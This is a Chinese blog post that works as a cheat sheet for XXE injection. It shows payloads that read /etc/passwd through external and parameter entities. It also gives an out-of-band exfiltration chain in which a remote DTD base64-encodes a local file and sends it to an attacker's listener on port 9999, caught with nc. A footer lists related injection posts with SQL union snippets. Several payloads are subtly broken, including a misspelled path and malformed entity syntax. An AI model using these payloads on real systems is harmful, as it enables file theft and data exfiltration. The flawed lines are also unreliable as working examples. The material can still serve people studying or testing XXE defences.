首页 > 其他分享 >XXE注入

XXE注入

时间:2023-02-26 22:47:01浏览次数:39  
标签:调用 file 实体 send dtd XXE 注入

XXE 有回显利用方式总结

结合外部实体声明(实体名称 SYSTEM ”uri/url“)和参数实体(% 实体名称 SYSTEM “uri-外部dtd”)有两种方式进行注入攻击

姿势一
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
    <name>&xxe;</name>
</root>

姿势二
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

姿势三
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://xxx/evil.dtd">
%xxe;]>
<foo>&evil;</foo>

外部evil.dtd的内容
<!ENTITY %evil SYSTEM "file:///ect/passwd">

XXE 无回显利用方式总结

可以使用外带数据通道提取数据,先用file://或php://filter获取目标文件的内容,然后将内容以http请求发送到接收数据的服务器(攻击服务器)

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

evil.dtd的内容,内部的`%`号要进行实体编码成`%`

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY &#37 send SYSTEM 'http://ip:9999?p=%file;'>">

用nc进行本地监听
nc -lvv 9999

整个调用过程:

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

标签:调用,file,实体,send,dtd,XXE,注入
From: https://www.cnblogs.com/cowpokee/p/17158053.html

相关文章

  • CRLF注入
    CRLF注入原理:一个HTTP请求报文由四个部分组成:请求行、请求头部、空行、请求数据。请求行和请求头的尾部都有CRLF标志,请求头和请求体之间也是通过CRLF标志分割的。CRLF......
  • JSON注入
    JSON注入原理:JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造JSON,则可以......
  • Mysql注入
    查数据库unionselectnull,schema_name,nullfrominformation_schema.schematalimit1,1%23查数据表:unionselect1,table_name,3frominformation_schema.table......
  • Oracle注入
    获取数据库版本unionselect1,'a',(SELECTbannerFROMv$versionWHEREbannerLIKE'Oracle%25')fromdual--+获取操作系统版本unionselect1,'a',(SELECTbann......
  • @Resource注入
    1、根据名称注入@Resource(name="userService")privateUserServiceuserService;@Service("userService")publicclassUserServiceImplimplementsUse......
  • PHP_XXE
    当输入错误用户名和密码的时候,服务端就会返回用户名并提示登录错误adminloginfail!读取文件同理可以读取网站源码,字符需要base64解码......
  • 使用Mono.Cecil实现IL代码注入
    Target新建项目CecilTest创建待注入类Target.cspublicclassTarget{publicstringGetInputIntReturnIntString(inti){Console.WriteLine("Get......
  • [代码审计基础 16]phpyun 防注入绕过
    PHP:5.4.5设置调试:https://blog.csdn.net/m0_46641521/article/details/120107786phpyunSQL注入绕过0x01路由分析01看index先做路由分析,上来直接看index.php文件;......
  • inlineHook 注入
    inject.h#pragmaonce#ifndefINJECT_H#defineINJECT_Hintinject_sc();#endif//!INJECT_H#include<windows.h>#include<stdio.h>#include<iostream>......
  • 记录下SQL注入案例
    SQL注入大扫除时发现了几年前的笔记本,稍微看了下过去的笔记。SQL注入这玩意虽说是很老的问题了,在mybatis等优秀的ORM框架里面早已经通过预编译技术解决了。但是突然......